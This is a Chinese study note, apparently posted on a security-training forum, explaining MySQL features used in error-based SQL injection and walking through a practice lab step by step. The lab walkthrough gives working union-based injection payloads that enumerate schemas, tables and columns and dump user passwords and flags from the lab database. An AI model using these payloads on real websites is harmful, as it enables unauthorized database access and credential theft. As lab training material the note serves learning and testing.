sql注入常识-显错注入

gavin_gov   ·   发表于 2023-03-24 11:25:09   ·   学习杂记

一、MySql 数据库知识点

1. information_schema:存放mysql服务器上所有数据库名称、数据库表、数据库字段等信息(需mysql版本在5.0以上)
  • information_schema.tables:存放所有库名、表名的对应关系

    table_schema:存放所有数据库库名
    table_name:存放所有数据表表名

  • information_schema.columns:存放所有库名、表名、字段的对应关系

    table_schema:存放所有数据库库名
    table_name:存放所有数据表表名
    column_name:存放所有字段名

2. order by 排序 :对查询出的数据按照某个字段或者第几个字段排序
  • 按照某个字段排序

    order by username :按照username字段排序
    order by id :按照id字段排序

  • 按照第几个字段排序

    order by 1 :按照第一个字段排序
    order by 2 :按照第二个字段排序
    order by 3 :按照第三个字段排序

  • 如果指定排序的字段不存在,则数据库报错或者无返回值

    sql注入测试中经常用此功能判断服务器返回给前端字段的个数

3. 联合查询 union select 和 union all select
  • 在现有查询的基础上,合并加入union select 语句查询出的数据
  • 前提条件:要查询的两张表的字段数量必须相同
    • union select 1,2,3在现有查询的基础上加上1,2,3这条数据
    • sql注入中经常用此功能来查询出前端页面的显示位和数据库的其他字段数据
  • 输出位(显示位)是指什么?
    • SQL查询出来的数据不一定全部会显示在前端页面上,页面上只会输出几个字段的信息,那几个会输出的字段就是显示位
    • 需要查询的字段要放在显示位的位置
  • union all select 和 union select 区别

    union select :去重后输出数据
    union all select : 重复数据也一起输出

4. limit a,b (a,b均为数字)
  • a代表了从哪个位置(从0开始) b代表从那位开始显示几条数据

limit 0,1 从第0行开始输出,输出1行数据
limit 8,9 从第8行开始输出,输出9行数据

  • 渗透测试中一般使用 limit 0,1 比较多,一条一条的输出数据,这样不会因前段数据限制导致获取的数据缺失
5. Group_concat() 一次性输出多条数据

二、MySql 的sql注入

  • sql注入本质:把用户输入当做数据库查询语句执行
sql注入分类
  • 显错注入
  • POST注入
  • Header注入
  • 布尔盲注
  • 延时盲注
sql注入思路
  1. graph TD
  2. a[(确认是否存在注入点)] --> b(判断字段个数)
  3. b --> c(联合查询找显示位)
  4. c -->d(通过系统自带库查询表名以及字段名)
  5. d -->e(查询需要的字段值)
sql注入常见的闭合方式
  • 闭合是什么?
    • 在sql查询中,代码比较严谨,括号和引号都得成双成对,引号内的默认是字符串不会当作SQL语句执行,所以必须闭合然后才能注入。有些SQL语句直接拼接,不需要闭合
  • 常见的闭合方式有哪些?

    URL: www.sunits.com/idex.php?id=1
    查询语句:select * from user where id=1
    闭合方式:这种情况下不需要闭合

    URL: www.sunits.com/idex.php?id=1
    查询语句:select * from user where id=’1’
    闭合方式:' -- qwe

    URL: www.sunits.com/idex.php?id=1
    查询语句:select * from user where id=”1”
    闭合方式:" -- qwe

    URL: www.sunits.com/idex.php?id=1
    查询语句:select * from user where id=(‘1’)
    闭合方式:') -- qwe

    URL: www.sunits.com/idex.php?id=1
    查询语句:select * from user where id=(“1”)
    闭合方式:") -- qwe


三、靶场案例

显错注入(一)
  • 题目url: http://qs664hs8.lab.aqlab.cn/Pass-01/index.php?id=1
  • 步骤:

    • ①确认存在注入点:

      ?id=3-2 查询结果:数据正常显示
      ?id=1 and 2=1 查询结果:数据不能正常显示
      说明url中存在sql注入点

    • ②判断字段个数:

      ?id=1 order by 1 数据正常显示
      ?id=1 order by 2 数据正常显示
      ?id=1 order by 3 数据正常显示
      ?id=1 order by 4 数据不能正常显示
      说明数据库查询出3个字段

    • ③联合查询找显示位:

      ?id=1 and 2=1 union select 1,2,3

      数据显示2,3—说明第2个和第3个字段都是显示位
      可以通过这两个位置显示需要查询的数据

    • ④通过系统自带库查询表名以及字段名:

      • 获取所有数据库名称:

        • ?id=1 and 2=3 union select 1,2,table_schema from information_schema.tables limit 0,1limit 5,1
        • 以下是所有mysql所有数据库
        • information_schema
        • error
        • head_error(flag_head表,ip表,refer表,uagent表,user表)
        • kanwolongxia(loflag表,news表,user表)
        • post_error(flag表,user表)
        • widechar(china_flag表,user表)
      • 获取本站点表名:

        • ?id=1 and 2=3 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1limit 1,1
        • user表
        • error_flag表
      • 获取本站点字段名:
      • ?id=1 and 2=3 union select 1,2,column_name from information_schema.columns where table_name ='user' limit 0,1limit 2,1

        • user表的字段如下:
        • Id
        • username
        • password
      • ?id=1 and 2=3 union select 1,2,column_name from information_schema.columns where table_name ='error_flag' limit 0,1limit 1,1
        • error_flag表的字段如下:
          • Id
          • flag
    • ⑤通过获取的数据库名、表名、字段名获取数据:

      • 因为2,3都是显示位,所以可以尝试一条查询同时获取两个字段的数据

      • user表的数据:
        • ?id=1 and 2=3 union select 1,username,password from user limit 0,1limit 2,1
序号 username password
1 test mima
2 niefeng 7580241
3 ssg Nopassword
  1. - **error_flag表的数据:**
  2. - `?id=1 and 2=3 union select 1,2,flag from error_flag limit 0,1` -- `limit 3,1`
序号 flag
1 zKaQ-Nf
2 zKaQ-BJY
3 zKaQ-XiaoFang
4 zKaq-98K

打赏我,让我更有动力~

0 条回复   |  直到 2023-3-24 | 556 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.